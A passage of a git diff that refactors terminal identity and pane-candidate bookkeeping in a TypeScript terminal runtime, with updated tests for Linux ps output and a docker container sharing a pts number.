+import { OrderedTerminalCandidates } from './ordered-terminal-candidates'
+import { TerminalIncarnationBindings } from './terminal-incarnation-bindings'
+import { TerminalPaneCandidates } from './terminal-pane-candidates'
 import { retireReplacedLaunch } from '../launch/launch-evidence'
 
 type Mutable<T> = { -readonly [K in keyof T]: T[K] }
@@ -17,16 +19,13 @@ export class TerminalIdentitySource {
   private readonly handleRecords = new Map<string, TerminalHandleRecord>()
   private readonly ptyBindings = new Map<string, string>()
   private readonly leafBindings = new Map<string, string>()
-  private readonly incarnationBindings = new Map<string, Mutable<PtyIncarnationHandleRecord>>()
-  private readonly incarnationCandidates = new TerminalIncarnationCandidates()
+  private readonly reverseCandidates = new OrderedTerminalCandidates()
+  private readonly incarnationSource = new TerminalIncarnationBindings(() => this.changed())
+  readonly paneCandidates = new TerminalPaneCandidates()
   private readonly syntheticHandles = new Set<string>()
   // Weak ownership links preserve detached canonical records without retaining their lifetime.
   private readonly ownedPtys = new WeakMap<object, Mutable<RuntimePtyWorktreeRecord>>()
   private readonly ownedLeaves = new WeakMap<RuntimeLeafRecord, Mutable<RuntimeLeafRecord>>()
-  private readonly ownedIncarnations = new WeakMap<
-    PtyIncarnationHandleRecord,
-    Mutable<PtyIncarnationHandleRecord>
-  >()
   private sequence = 0
   private epoch = 0
 
@@ -42,7 +41,8 @@ export class TerminalIdentitySource {
   readonly handles: ReadonlyMap<string, TerminalHandleRecord> = this.handleRecords
   readonly reverse: ReadonlyMap<string, string> = this.ptyBindings
   readonly leafHandles: ReadonlyMap<string, string> = this.leafBindings
-  readonly incarnations: ReadonlyMap<string, PtyIncarnationHandleRecord> = this.incarnationBindings
+  readonly incarnations: ReadonlyMap<string, PtyIncarnationHandleRecord> =
+    this.incarnationSource.records
   readonly synthetic: ReadonlySet<string> = this.syntheticHandles
   get graphSequence(): number {
     return this.sequence
@@ -63,6 +63,7 @@ export class TerminalIdentitySource {
     const record = { ...input }
     this.ownedPtys.set(record, record)
     this.ptyRecords.set(record.ptyId, record)
+    this.paneCandidates.setPty(record)
     this.changed()
     return record
   }
@@ -132,11 +133,15 @@ export class TerminalIdentitySource {
       owned.surfaceRecordedAtGraphSequence = standing
     }
     if (changed) {
+      if (this.ptyRecords.get(owned.ptyId) === owned) {
+        this.paneCandidates.setPty(owned)
+      }
       this.changed()
     }
   }
 
   removePty(id: string): boolean {
+    this.paneCandidates.removePty(id)
     return this.remove(this.ptyRecords, id)
   }
 
@@ -145,10 +150,12 @@ export class TerminalIdentitySource {
       return
     }
     const next = new Map<string, Mutable<RuntimeLeafRecord>>()
+    this.paneCandidates.leaves.clear()
     for (const [key, input] of inputs) {
       const owned = this.ownedLeaves.get(input) ?? { ...input }
       this.ownedLeaves.set(owned, owned)
       next.set(key, owned)
+      this.paneCandidates.leaves.set(key, owned.leafId)
     }
     this.leafRecords = next
     this.changed()
@@ -163,9 +170,11 @@ export class TerminalIdentitySource {
   }
 
   removeLeaf(key: string): boolean {
+    this.paneCandidates.leaves.delete(key)
     return this.remove(this.leafRecords, key)
   }
   clearLeaves(): void {
+    this.paneCandidates.leaves.clear()
     this.clear(this.leafRecords)
   }
 
@@ -207,12 +216,18 @@ export class TerminalIdentitySource {
   }
 
   bindPty(id: string, handle: string): void {
+    this.reverseCandidates.set(id, handle)
     this.bind(this.ptyBindings, id, handle)
   }
+  firstReversePtyId(handle: string): string | undefined {
+    return this.reverseCandidates.first(handle)
+  }
   clearPtyBindings(): void {
+    this.reverseCandidates.clear()
     this.clear(this.ptyBindings)
   }
   unbindPty(id: string): boolean {
+    this.reverseCandidates.delete(id)
     return this.remove(this.ptyBindings, id)
   }
   bindLeaf(key: string, handle: string): void {
@@ -226,44 +241,22 @@ export class TerminalIdentitySource {
   }
 
   setIncarnation(id: string, input: PtyIncarnationHandleRecord): void {
-    const previous = this.incarnationBindings.get(id)
-    const owned = { ...input }
-    this.ownedIncarnations.set(owned, owned)
-    this.incarnationBindings.set(id, owned)
-    this.incarnationCandidates.set(id, owned.handle)
-    if (
-      !previous ||
-      previous.handle !== owned.handle ||
-      previous.incarnationId !== owned.incarnationId ||
-      previous.leafKey !== owned.leafKey
-    ) {
-      this.changed()
-    }
+    this.incarnationSource.setIncarnation(id, input)
   }
   setIncarnationLeaf(record: PtyIncarnationHandleRecord, leafKey: string): void {
-    const owned = this.ownedIncarnations.get(record)
-    if (owned && owned.leafKey !== leafKey) {
-      owned.leafKey = leafKey
-      this.changed()
-    }
+    this.incarnationSource.setIncarnationLeaf(record, leafKey)
   }
   setIncarnationProcess(record: PtyIncarnationHandleRecord, incarnationId: string | null): void {
-    const owned = this.ownedIncarnations.get(record)
-    if (owned && owned.incarnationId !== incarnationId) {
-      owned.incarnationId = incarnationId
-      this.changed()
-    }
+    this.incarnationSource.setIncarnationProcess(record, incarnationId)
   }
   removeIncarnation(id: string): boolean {
-    this.incarnationCandidates.delete(id)
-    return this.remove(this.incarnationBindings, id)
+    return this.incarnationSource.removeIncarnation(id)
   }
   clearIncarnations(): void {
-    this.incarnationCandidates.clear()
-    this.clear(this.incarnationBindings)
+    this.incarnationSource.clearIncarnations()
   }
   firstIncarnationPtyId(handle: string): string | undefined {
-    return this.incarnationCandidates.first(handle)
+    return this.incarnationSource.firstIncarnationPtyId(handle)
   }
 
   addSynthetic(handle: string): void {
diff --git a/src/main/runtime/terminal/identity/terminal-incarnation-bindings.ts b/src/main/runtime/terminal/identity/terminal-incarnation-bindings.ts
new file mode 100644
index 00000000000..885169050a4
--- /dev/null
+++ b/src/main/runtime/terminal/identity/terminal-incarnation-bindings.ts
@@ -0,0 +1,60 @@
+import type { PtyIncarnationHandleRecord } from './terminal-handle-records'
+import { OrderedTerminalCandidates } from './ordered-terminal-candidates'
+type MutableIncarnation = {
+  -readonly [K in keyof PtyIncarnationHandleRecord]: PtyIncarnationHandleRecord[K]
+}
+
+/** Ordered incarnation aliases and their canonical mutable records share one lifetime. */
+export class TerminalIncarnationBindings {
+  readonly records = new Map<string, MutableIncarnation>()
+  private readonly candidates = new OrderedTerminalCandidates()
+  private readonly ownedIncarnations = new WeakMap<PtyIncarnationHandleRecord, MutableIncarnation>()
+  constructor(private readonly changed: () => void) {}
+  setIncarnation(id: string, input: PtyIncarnationHandleRecord): void {
+    const previous = this.records.get(id)
+    const owned = { ...input }
+    this.ownedIncarnations.set(owned, owned)
+    this.records.set(id, owned)
+    this.candidates.set(id, owned.handle)
+    if (
+      !previous ||
+      previous.handle !== owned.handle ||
+      previous.incarnationId !== owned.incarnationId ||
+      previous.leafKey !== owned.leafKey
+    ) {
+      this.changed()
+    }
+  }
+  setIncarnationLeaf(record: PtyIncarnationHandleRecord, leafKey: string): void {
+    const owned = this.ownedIncarnations.get(record)
+    if (owned && owned.leafKey !== leafKey) {
+      owned.leafKey = leafKey
+      this.changed()
+    }
+  }
+  setIncarnationProcess(record: PtyIncarnationHandleRecord, incarnationId: string | null): void {
+    const owned = this.ownedIncarnations.get(record)
+    if (owned && owned.incarnationId !== incarnationId) {
+      owned.incarnationId = incarnationId
+      this.changed()
+    }
+  }
+  removeIncarnation(id: string): boolean {
+    this.candidates.delete(id)
+    const removed = this.records.delete(id)
+    if (removed) {
+      this.changed()
+    }
+    return removed
+  }
+  clearIncarnations(): void {
+    this.candidates.clear()
+    if (this.records.size > 0) {
+      this.records.clear()
+      this.changed()
+    }
+  }
+  firstIncarnationPtyId(handle: string): string | undefined {
+    return this.candidates.first(handle)
+  }
+}
diff --git a/src/main/runtime/terminal/identity/terminal-incarnation-candidates.ts b/src/main/runtime/terminal/identity/terminal-incarnation-candidates.ts
deleted file mode 100644
index b2168e0f92f..00000000000
--- a/src/main/runtime/terminal/identity/terminal-incarnation-candidates.ts
+++ /dev/null
@@ -1,45 +0,0 @@
-/** Ordered membership only; the canonical source still owns records and validation. */
-export class TerminalIncarnationCandidates {
-  private readonly entries = new Map<string, { handle: string; position: bigint }>()
-  private readonly byHandle = new Map<string, string[]>()
-  private nextPosition = 0n
-
-  first(handle: string): string | undefined {
-    return this.byHandle.get(handle)?.[0]
-  }
-
-  set(id: string, handle: string): void {
-    const previous = this.entries.get(id)
-    if (previous?.handle === handle) {
-      return
-    }
-    const position = previous?.position ?? this.nextPosition++
-    this.delete(id)
-    const bucket = this.byHandle.get(handle) ?? []
-    let index = bucket.length
-    while (index > 0 && this.entries.get(bucket[index - 1])!.position > position) {
-      index--
-    }
-    bucket.splice(index, 0, id)
-    this.entries.set(id, { handle, position })
-    this.byHandle.set(handle, bucket)
-  }
-
-  delete(id: string): void {
-    const previous = this.entries.get(id)
-    if (!previous) {
-      return
-    }
-    const bucket = this.byHandle.get(previous.handle)!
-    bucket.splice(bucket.indexOf(id), 1)
-    if (bucket.length === 0) {
-      this.byHandle.delete(previous.handle)
-    }
-    this.entries.delete(id)
-  }
-
-  clear(): void {
-    this.entries.clear()
-    this.byHandle.clear()
-  }
-}
diff --git a/src/main/runtime/terminal/identity/terminal-pane-candidates.ts b/src/main/runtime/terminal/identity/terminal-pane-candidates.ts
new file mode 100644
index 00000000000..f31952b7d86
--- /dev/null
+++ b/src/main/runtime/terminal/identity/terminal-pane-candidates.ts
@@ -0,0 +1,28 @@
+import { parsePaneKey } from '../../../../shared/workspace-layout/stable-pane-id'
+import type { RuntimePtyWorktreeRecord } from '../records/runtime-terminal-state-records'
+import { OrderedTerminalCandidates } from './ordered-terminal-candidates'
+
+/** Raw address membership; connectivity and pane authority remain read-time decisions. */
+export class TerminalPaneCandidates {
+  readonly leaves = new OrderedTerminalCandidates()
+  private readonly ptys = new OrderedTerminalCandidates()
+
+  leavesForId(id: string): readonly string[] {
+    return this.leaves.matching([id])
+  }
+
+  ptysForPane(pane: string): readonly string[] {
+    const leaf = parsePaneKey(pane)?.leafId
+    return this.ptys.matching([`pane:${pane}`, ...(leaf ? [`leaf:${leaf}`] : [])])
+  }
+
+  setPty(record: RuntimePtyWorktreeRecord): void {
+    const pane = record.paneKey
+    const leaf = pane ? parsePaneKey(pane)?.leafId : null
+    this.ptys.set(record.ptyId, pane ? [`pane:${pane}`, ...(leaf ? [`leaf:${leaf}`] : [])] : [])
+  }
+
+  removePty(id: string): void {
+    this.ptys.delete(id)
+  }
+}
diff --git a/src/main/runtime/terminal/input/terminal-send-stale-leaf-liveness.test.ts b/src/main/runtime/terminal/input/terminal-send-stale-leaf-liveness.test.ts
index a567c6a4814..c9effa31366 100644
--- a/src/main/runtime/terminal/input/terminal-send-stale-leaf-liveness.test.ts
+++ b/src/main/runtime/terminal/input/terminal-send-stale-leaf-liveness.test.ts
@@ -336,6 +336,7 @@ function makeOrchestrationDbStub(toHandle: () => string) {
     },
     db: {
       crewChanges: new CrewChanges(),
+      hasAnyDispatchContexts: () => false,
       listSessionDispatchesForPresentation: () => [],
       // Mirrors the real query: `read = 0 AND delivered_at IS NULL`.
       getUndeliveredUnreadMessages: (handle: string) =>
diff --git a/src/main/runtime/terminal/layout/agent-generated-tab-titles-runtime.ts b/src/main/runtime/terminal/layout/agent-generated-tab-titles-runtime.ts
index afb982b09ac..e63c51a252e 100644
--- a/src/main/runtime/terminal/layout/agent-generated-tab-titles-runtime.ts
+++ b/src/main/runtime/terminal/layout/agent-generated-tab-titles-runtime.ts
@@ -15,7 +15,7 @@ export abstract class OrcaRuntimeWithAgentGeneratedTabTitles extends OrcaRuntime
   private readonly agentGeneratedTabTitles = new AgentGeneratedTabTitles({
     enabled: () => this.store?.getSettings?.()?.tabAutoGenerateTitle === true,
     targetOf: (row) => this.generatedTitleTargetOf(row),
-    orchestrationByPaneKey: () => this.agentOrchestrationProjection.buildByPaneKey(),
+    orchestrationForPaneKey: (paneKey) => this.agentOrchestrationProjection.getForPaneKey(paneKey),
     apply: (command) => this.applyLayoutCommand(command)
   })
 
diff --git a/src/main/runtime/terminal/layout/agent-generated-tab-titles.test.ts b/src/main/runtime/terminal/layout/agent-generated-tab-titles.test.ts
index 900c3c296dd..4727d394799 100644
--- a/src/main/runtime/terminal/layout/agent-generated-tab-titles.test.ts
+++ b/src/main/runtime/terminal/layout/agent-generated-tab-titles.test.ts
@@ -120,10 +120,10 @@ describe('main keeps the window’s generated-title rules', () => {
   ) {
     const host = await hostWith([GIT])
     const reads = [labels].flat()
-    const read = vi.spyOn(host.runtime['agentOrchestrationProjection'], 'buildByPaneKey')
-    read.mockReturnValue(reads.at(-1))
+    const read = vi.spyOn(host.runtime['agentOrchestrationProjection'], 'getForPaneKey')
+    read.mockImplementation((paneKey) => reads.at(-1)?.[paneKey])
     for (const each of reads.slice(0, -1)) {
-      read.mockReturnValueOnce(each)
+      read.mockImplementationOnce((paneKey) => each[paneKey])
     }
     for (const batch of statuses) {
       for (const row of batch) {
diff --git a/src/main/runtime/terminal/layout/agent-generated-tab-titles.ts b/src/main/runtime/terminal/layout/agent-generated-tab-titles.ts
index 5b9decf532c..1cb308727af 100644
--- a/src/main/runtime/terminal/layout/agent-generated-tab-titles.ts
+++ b/src/main/runtime/terminal/layout/agent-generated-tab-titles.ts
@@ -22,7 +22,7 @@ export type AgentGeneratedTabTitlesDeps = {
   enabled: () => boolean
   targetOf: (row: AgentStatusIpcPayload) => GeneratedTitleTarget | null
   /** Main's dispatch labels by pane key, which a worker's own status may lack. */
-  orchestrationByPaneKey: () => Record<string, AgentStatusOrchestrationContext> | undefined
+  orchestrationForPaneKey: (paneKey: string) => AgentStatusOrchestrationContext | undefined
   apply: (command: RenameTabsCommand) => Promise<LayoutApplyReply>
 }
 
@@ -62,16 +62,15 @@ export class AgentGeneratedTabTitles {
     }
     // Later statuses in the batch must read earlier generated titles, matching window batching.
     const renames = new Map<string, GeneratedTabTitle>()
-    // Read once per batch, and only for a dispatch: it scans every dispatch record.
-    const orchestration = rows.some((row) => isOrcaDispatchPrompt(row.prompt))
-      ? this.deps.orchestrationByPaneKey()
-      : undefined
     for (const row of rows) {
       const target = this.deps.targetOf(row)
       if (!target) {
         continue
       }
-      const labels = orchestration?.[row.paneKey] ?? row.orchestration
+      const labels =
+        (isOrcaDispatchPrompt(row.prompt)
+          ? this.deps.orchestrationForPaneKey(row.paneKey)
+          : undefined) ?? row.orchestration
       const key = `${target.workspace}\0${target.tabId}`
       const earlier = renames.get(key)
       const next = generatedTabTitleForStatus(
diff --git a/src/main/runtime/terminal/lifecycle/terminal-foreground-capture.test.ts b/src/main/runtime/terminal/lifecycle/terminal-foreground-capture.test.ts
index 96d609c3d15..1a6c7865845 100644
--- a/src/main/runtime/terminal/lifecycle/terminal-foreground-capture.test.ts
+++ b/src/main/runtime/terminal/lifecycle/terminal-foreground-capture.test.ts
@@ -1,7 +1,10 @@
 import { beforeEach, describe, expect, it, vi } from 'vitest'
 import { judgeTerminalForeground } from './terminal-foreground-group'
+import {
+  observePtyForeground,
+  resolvePtyForegroundMembers
+} from '../../../pty/process-retirement/pty-master-foreground-observation'
 import { readTerminalProcessRows } from '../../../pty/process-retirement/terminal-process-rows'
-import { resolvePtyForegroundMembers } from '../../../pty/process-retirement/pty-master-foreground-observation'
 import { readLaunchedAgentForeground } from '../wait/launched-agent-foreground'
 import { createAdapter } from '../../../daemon/providers/routing/testing/daemon-pty-router-test-fixture'
 import { DaemonPtyRouter } from '../../../daemon/providers/routing/daemon-pty-router'
@@ -10,8 +13,12 @@ const mocks = vi.hoisted(() => ({ runProcess: vi.fn() }))
 vi.mock('@orca/process-host', () => ({ runProcess: mocks.runProcess }))
 vi.mock('../../../../shared/libproc-process-table', () => ({ runPsInProcess: async () => null }))
 
-const rows = (pid: number) =>
+// Linux ps prefixes the sid column readPtyTerminalRows asks for there.
+const rows = (pid: number, withSid = process.platform === 'linux') =>
   `${pid} 1 ${pid} ${pid + 1} Ss -zsh\n${pid + 1} ${pid} ${pid + 1} ${pid + 1} S+ claude\n`
+    .split('\n')
+    .map((line) => (withSid && line ? `${pid} ${line}` : line))
+    .join('\n')
 const result = (stdout: string, outputTruncated = false) => ({
   code: 0,
   signal: null,
@@ -87,9 +94,10 @@ describe('fresh target foreground regressions', () => {
     expect(await readTerminalProcessRows(90300)).toBeNull()
   })
   it('keeps a capture whose blank-argv row sits outside the foreground group', async () => {
+    const blankOutside = `${process.platform === 'linux' ? '90400 ' : ''}90410 90400 90410 90401 S`
     mocks.runProcess
       .mockResolvedValueOnce(result('ttys904'))
-      .mockResolvedValueOnce(result(`${rows(90400)}90410 90400 90410 90401 S   \n`))
+      .mockResolvedValueOnce(result(`${rows(90400)}${blankOutside}\n`))
       .mockResolvedValueOnce(result('ttys904'))
     const captured = (await readTerminalProcessRows(90400)) ?? []
     expect(resolvePtyForegroundMembers(captured, 90401).verdict).toBe('observed')
@@ -99,3 +107,40 @@ describe('fresh target foreground regressions', () => {
     expect(resolvePtyForegroundMembers(blank, 90401).verdict).toBe('unverifiable')
   })
 })
+
+// #39488: a `docker run -t` container holds its own private pts/0, so host `ps -t pts/0` lists its sleep beside
+// the terminal's shell and agent. Rows are the reporter's capture; columns follow what ps was asked for.
+const CONTAINER_SHARING_PTS = [
+  { sid: 58769, row: '58769 58768 58769 58769 Ss+ sleep 900' },
+  { sid: 58824, row: '58824 100 58824 58826 Ss+ /bin/sh -l' },
+  { sid: 58824, row: '58826 58824 58826 58826 S+ claude --print-output' }
+]
+
+describe('terminal foreground with a container holding the same pts number', () => {
+  it('observes the agent as foreground on Linux', async () => {
+    mocks.runProcess.mockReset()
+    const original = process.platform
+    Object.defineProperty(process, 'platform', { configurable: true, value: 'linux' })
+    try {
+      mocks.runProcess.mockImplementation(async ({ args }: { args: readonly string[] }) => {
+        const withSid = args.some((arg) => arg.startsWith('sid='))
+        return result(
+          `${CONTAINER_SHARING_PTS.map(({ sid, row }) => (withSid ? `${sid} ${row}` : row)).join('\n')}\n`
+        )
+      })
+      const owner = {
+        pid: 58824,
+        fd: 9,
+        ptsName: '/dev/pts/0',
+        getForegroundProcessGroup: (): number | null | undefined => 58826
+      }
+      await expect(observePtyForeground(owner, () => true)).resolves.toMatchObject({
+        verdict: 'observed',
+        foregroundKind: 'non-shell',
+        foregroundPgid: 58826
+      })
+    } finally {
+      Object.defineProperty(process, 'platform', { configurable: true, value: original })
+    }
+  })
+})
diff --git a/src/main/runtime/terminal/query/pty-pane-record.ts b/src/main/runtime/terminal/query/pty-pane-record.ts
new file mode 100644
index 00000000000..03c221349b7
--- /dev/null
+++ b/src/main/runtime/terminal/query/pty-pane-record.ts
@@ -0,0 +1,71 @@
+import type {
+  RuntimeLeafRecord,
+  RuntimePtyWorktreeRecord
+} from '../records/runtime-terminal-state-records'
+import { parsePaneKey } from '../../../../shared/workspace-layout/stable-pane-id'
+import type { PtyPaneOf } from '../surface/pty-pane-query'
+import type { TerminalIdentityReadContext } from './terminal-identity-read-context'
+
+export function ptyRecordForPaneKey(
+  paneKey: string,
+  source: {
+    leaves: ReadonlyMap<string, RuntimeLeafRecord>
+    ptys: ReadonlyMap<string, RuntimePtyWorktreeRecord>
+    leafKey: (tab: string, leaf: string) => string
+    capturePaneOf: () => PtyPaneOf
+    paneOf?: PtyPaneOf
+    leavesForId?: (id: string) => Iterable<string>
+    ptysForPane?: (pane: string) => Iterable<string>
+  },
+  context?: TerminalIdentityReadContext
+): RuntimePtyWorktreeRecord | null {
+  const parsed = parsePaneKey(paneKey)
+  let leafPty: RuntimePtyWorktreeRecord | null = null
+  if (parsed) {
+    const leaf = source.leaves.get(source.leafKey(parsed.tabId, parsed.leafId))
+    const pty = leaf?.ptyId ? source.ptys.get(leaf.ptyId) : undefined
+    if (pty?.connected) {
+      return pty
+    }
+    leafPty = pty ?? null
+    const candidates = context
+      ? context.leavesForId(parsed.leafId)
+      : (source.leavesForId?.(parsed.leafId) ?? source.leaves.keys())
+    for (const key of candidates) {
+      const candidate = source.leaves.get(key)
+      if (!candidate) {
+        continue
+      }
+      if (candidate.leafId !== parsed.leafId || !candidate.ptyId) {
+        continue
+      }
+      const remintedPty = source.ptys.get(candidate.ptyId)
+      if (remintedPty?.connected) {
+        return remintedPty
+      }
+      leafPty ??= remintedPty ?? null
+    }
+  }
+  let newestMatch: RuntimePtyWorktreeRecord | null = null
+  let paneOf: PtyPaneOf | undefined
+  const candidates = context
+    ? context.ptysForPane(paneKey)
+    : (source.ptysForPane?.(paneKey) ?? source.ptys.keys())
+  for (const ptyId of candidates) {
+    const pty = source.ptys.get(ptyId)
+    if (!pty) {
+      continue
+    }
+    const recordedPaneKey = (paneOf ??= context?.paneOf ?? source.paneOf ?? source.capturePaneOf())(
+      pty
+    ).paneKey
+    const ptyPane = parsePaneKey(recordedPaneKey ?? '')
+    if (recordedPaneKey === paneKey || (parsed && ptyPane && parsed.leafId === ptyPane.leafId)) {
+      if (pty.connected) {
+        return pty
+      }
+      newestMatch = pty
+    }
+  }
+  return leafPty ?? newestMatch
+}
diff --git a/src/main/runtime/terminal/query/pty-terminal-summary.ts b/src/main/runtime/terminal/query/pty-terminal-summary.ts
index 6946cd32092..5d49d792e0f 100644
--- a/src/main/runtime/terminal/query/pty-terminal-summary.ts
+++ b/src/main/runtime/terminal/query/pty-terminal-summary.ts
@@ -211,7 +211,7 @@ export abstract class OrcaRuntimeWithBuildPtyTerminalSummary extends OrcaRuntime
     if (!record) {
       const ptyId = context
         ? context.reversePtyIds(handle)[0]
-        : [...this.handleByPtyId.entries()].find(([, mappedHandle]) => mappedHandle === handle)?.[0]
+        : this.terminalIdentity.firstReversePtyId(handle)
       const pty = ptyId ? this.ptysById.get(ptyId) : null
       if (pty) {
         // Why: graph reload clears renderer handle records, but runtime-owned PTY handles remain the caller's control identity.
diff --git a/src/main/runtime/terminal/query/terminal-identity-read-context.test.ts b/src/main/runtime/terminal/query/terminal-identity-read-context.test.ts
index e8af70e3d38..174efc1112e 100644
--- a/src/main/runtime/terminal/query/terminal-identity-read-context.test.ts
+++ b/src/main/runtime/terminal/query/terminal-identity-read-context.test.ts
@@ -1,55 +1,15 @@
 import { identityFixture as fixture, PANE } from './terminal-identity.test-fixture'
-import { OrchestrationDb } from '../../orchestration/db/orchestration-db'
 import '../../orchestration/db/contract-constants'
 import '../../orchestration/db/messages/mailbox-routing-page'
 import '../../orchestration/db/dispatch-row-writer'
 import '../../orchestration/db/attempt-outcome-projection'
-import { CrewReadModel } from '../../orchestration/crew/crew-read-model'
-import { readCrewRuntimeInputs } from '../../orchestration/crew/crew-runtime-watch'
 import { expect, it, vi } from 'vitest'
 import '../../orca-runtime-tests/runtime-test-module-registration.spec'
-import { TEST_WORKTREE_ID } from '../../orca-runtime-tests/orca-runtime-test-fixtures.spec'
 import '../../rpc/methods/orchestration/runs/runs'
 import '../../rpc/methods/orchestration/runs/run-scope'
 import '../../../../shared/orca-session-address'
 import '../../../../shared/orca-session-address-test-fixture'
 
-function countIterations<K, V>(
-  map: ReadonlyMap<K, V>,
-  counts: { entries: number; get: number; set: number; delete: number }
-) {
-  if (!(map instanceof Map)) {
-    throw new Error('Expected native map instrumentation')
-  }
-  const get = map.get.bind(map)
-  const set = map.set.bind(map)
-  const remove = map.delete.bind(map)
-  map.get = (key: K) => {
-    counts.get++
-    return get(key)
-  }
-  map.set = (key: K, value: V) => {
-    counts.set++
-    return set(key, value)
-  }
-  map.delete = (key: K) => {
-    counts.delete++
-    return remove(key)
-  }
-  for (const method of ['entries', 'keys', 'values', Symbol.iterator] as const) {
-    const original = map[method].bind(map)
-    Object.defineProperty(map, method, {
-      configurable: true,
-      value: function* () {
-        for (const value of original()) {
-          counts.entries++
-          yield value
-        }
-      }
-    })
-  }
-}
-
 it('invalidates actual SSH-held facts on register and finally-release with equal and conflicting claims', async () => {
   const f = fixture()
   const wake = vi.fn()
@@ -90,146 +50,3 @@ it('invalidates actual SSH-held facts on register and finally-release with equal
   expect(wake).toHaveBeenCalledTimes(6)
   stop()
 })
-
-it('reuses raw inputs for new historical parties through the production Crew boundary and retires them on real owner writes', () => {
-  vi.useFakeTimers()
-  vi.setSystemTime('2026-10-28T20:00:00.000Z')
-  const measure = (population: number, captured: boolean) => {
-    const f = fixture()
-    const db = new OrchestrationDb(':memory:')
-    f.runtime.setOrchestrationDb(db)
-    f.add('coordinator', 'term_coord')
-    f.stamp('term_coord', 'coordinator')
-    for (let i = 0; i < population; i++) {
-      f.add(`unrelated-${i}`, `term_inventory_${i}`, `inventory-${i}`)
-    }
-    const counts = { entries: 0, get: 0, set: 0, delete: 0 }
-    countIterations(f.owner.handles, counts)
-    countIterations(f.owner.ptysById, counts)
-    countIterations(f.owner.handleByPtyId, counts)
-    const capture = vi.spyOn(f.runtime, 'createTerminalIdentityRawInputs')
-    const model = new CrewReadModel(
-      (previous) => {
-        const inputs = readCrewRuntimeInputs(f.owner.crewReaders, db, true, 'same-host', previous)
-        if (captured) {
-          return inputs
-        }
-        delete inputs.openIdentityRead
-        delete inputs.openRuntimeIdentityRead
-        return inputs
-      },
-      (wake) => {
-        const stops = [f.owner.crewChanges.subscribe(wake), db.crewChanges.subscribe(wake)]
-        return () => stops.forEach((stop) => stop())
-      }
-    )
-    const wake = vi.fn()
-    const stop = model.subscribe(wake)
-    try {
-      expect(model.read('term_coord').sections.talkingWith).toEqual([])
-      for (let i = 0; i < population; i++) {
-        db.insertMessage({
-          from: `term_late_${i}`,
-          to: 'term_coord',
-          subject: 'Hello',
-          body: `message-${i}`
-        })
-      }
-      db.db.prepare("UPDATE messages SET created_at = '2026-10-28 20:00:00'").run()
-      const output = model.read('term_coord')
-      expect(output.sections.talkingWith).toHaveLength(population)
-      const acquisition = { ...counts }
-      if (captured) {
-        const captures = capture.mock.calls.length
-        f.owner.crewChanges.notify(new Set(['status', 'names']))
-        expect(model.read('term_coord')).toEqual(output)
-        expect(capture).toHaveBeenCalledTimes(captures)
-        expect(counts.entries).toBe(acquisition.entries)
-        // Register's actual controller handle, without another DB/status mutation, retires captured absence.
-        f.runtime.registerPty('late-pty', TEST_WORKTREE_ID, null, {
-          tabId: 'tab-late',
-          leafId: 'bbbbbbbb-bbbb-4bbb-8bbb-bbbbbbbbbbbb',
-          terminalHandle: 'term_late_0'
-        })
-        const installed = model
-          .read('term_coord')
-          .sections.talkingWith.find((row) => row.sendAddress === 'term_late_0')
-        expect(installed?.openTarget).toEqual({ kind: 'terminal', handle: 'term_late_0' })
-        expect(capture.mock.calls.length).toBeGreaterThan(captures)
-        // Owner repair may dirty the generation once; the next read must settle, never feed a rebuild loop.
-        model.read('term_coord')
-        expect(capture.mock.calls.length).toBeLessThanOrEqual(captures + 2)
-        const afterInstallation = capture.mock.calls.length
-        f.owner.recordPtyWorktree('late-pty', TEST_WORKTREE_ID, {
-          lastOutputAt: 500,
-          preview: 'unconsumed output'
-        })
-        model.read('term_coord')
-        expect(capture).toHaveBeenCalledTimes(afterInstallation)
-        const mutation = (write: () => unknown) => {
-          const before = capture.mock.calls.length
-          write()
-          model.read('term_coord')
-          expect(capture.mock.calls.length).toBeGreaterThan(before)
-          model.read('term_coord')
-          const settled = capture.mock.calls.length
-          model.read('term_coord')
-          expect(capture).toHaveBeenCalledTimes(settled)
-        }
-        const pty = f.owner.ptysById.get('late-pty')!
-        mutation(() => f.owner.setPtyConnected(pty, false))
-        const disconnected = capture.mock.calls.length
-        f.owner.setPtyConnected(pty, false)
-        model.read('term_coord')
-        expect(capture).toHaveBeenCalledTimes(disconnected)
-        mutation(() => f.runtime.onPtyData('late-pty', 'resume', 500))
-        const resumed = capture.mock.calls.length
-        const normalEntries = counts.entries
-        const normalWakes = wake.mock.calls.length
-        for (let i = 0; i < population; i++) {
-          f.runtime.onPtyData('late-pty', 'ordinary output', 501 + i)
-          model.read('term_coord')
-        }
-        expect(capture).toHaveBeenCalledTimes(resumed)
-        expect(counts.entries).toBe(normalEntries)
-        expect(wake).toHaveBeenCalledTimes(normalWakes)
-        mutation(() => f.owner.setPtyConnected(pty, false))
-        mutation(() => f.runtime.onPtySpawned('late-pty', 'new-process'))
-        mutation(() =>
-          f.owner.recordPtyWorktree('late-pty', TEST_WORKTREE_ID, {
-            paneKey: 'tab-moved:bbbbbbbb-bbbb-4bbb-8bbb-bbbbbbbbbbbb'
-          })
-        )
-        f.runtime.attachWindow(1)
-        mutation(() => f.owner.beginGraphReload(1))
-        mutation(() => f.owner.dropDisconnectedPtyRecord('late-pty'))
-        expect(
-          model
-            .read('term_coord')
-            .sections.talkingWith.find((row) => row.sendAddress === 'term_late_0')?.openTarget
-        ).toBeUndefined()
-        stop()
-        const beforeReenroll = capture.mock.calls.length
-        const release = model.subscribe(wake)
-        model.read('term_coord')
-        expect(capture).toHaveBeenCalledTimes(beforeReenroll + 1)
-        release()
-      }
-      return { output, acquisition }
-    } finally {
-      stop()
-      db.close()
-    }
-  }
-  try {
-    for (const population of [3, 30]) {
-      const baseline = measure(population, false)
-      const candidate = measure(population, true)
-      expect(candidate.output).toEqual(baseline.output)
-      expect(candidate.acquisition.entries).toBeLessThan(baseline.acquisition.entries)
-      expect(candidate.acquisition.entries).toBeLessThan(10 * (population + 1))
-    }
-  } finally {
-    vi.useRealTimers()
-  }
-})
diff --git a/src/main/runtime/terminal/query/terminal-identity-read-context.ts b/src/main/runtime/terminal/query/terminal-identity-read-context.ts
index 2bf15877064..13e3090f68a 100644
--- a/src/main/runtime/terminal/query/terminal-identity-read-context.ts
+++ b/src/main/runtime/terminal/query/terminal-identity-read-context.ts
@@ -262,58 +262,3 @@ export class TerminalIdentityReadContext {
     return values
   }
 }
-
-export function ptyRecordForPaneKey(
-  paneKey: string,
-  source: {
-    leaves: ReadonlyMap<string, RuntimeLeafRecord>
-    ptys: ReadonlyMap<string, RuntimePtyWorktreeRecord>
-    leafKey: (tab: string, leaf: string) => string
-    capturePaneOf: () => PtyPaneOf
-  },
-  context?: TerminalIdentityReadContext
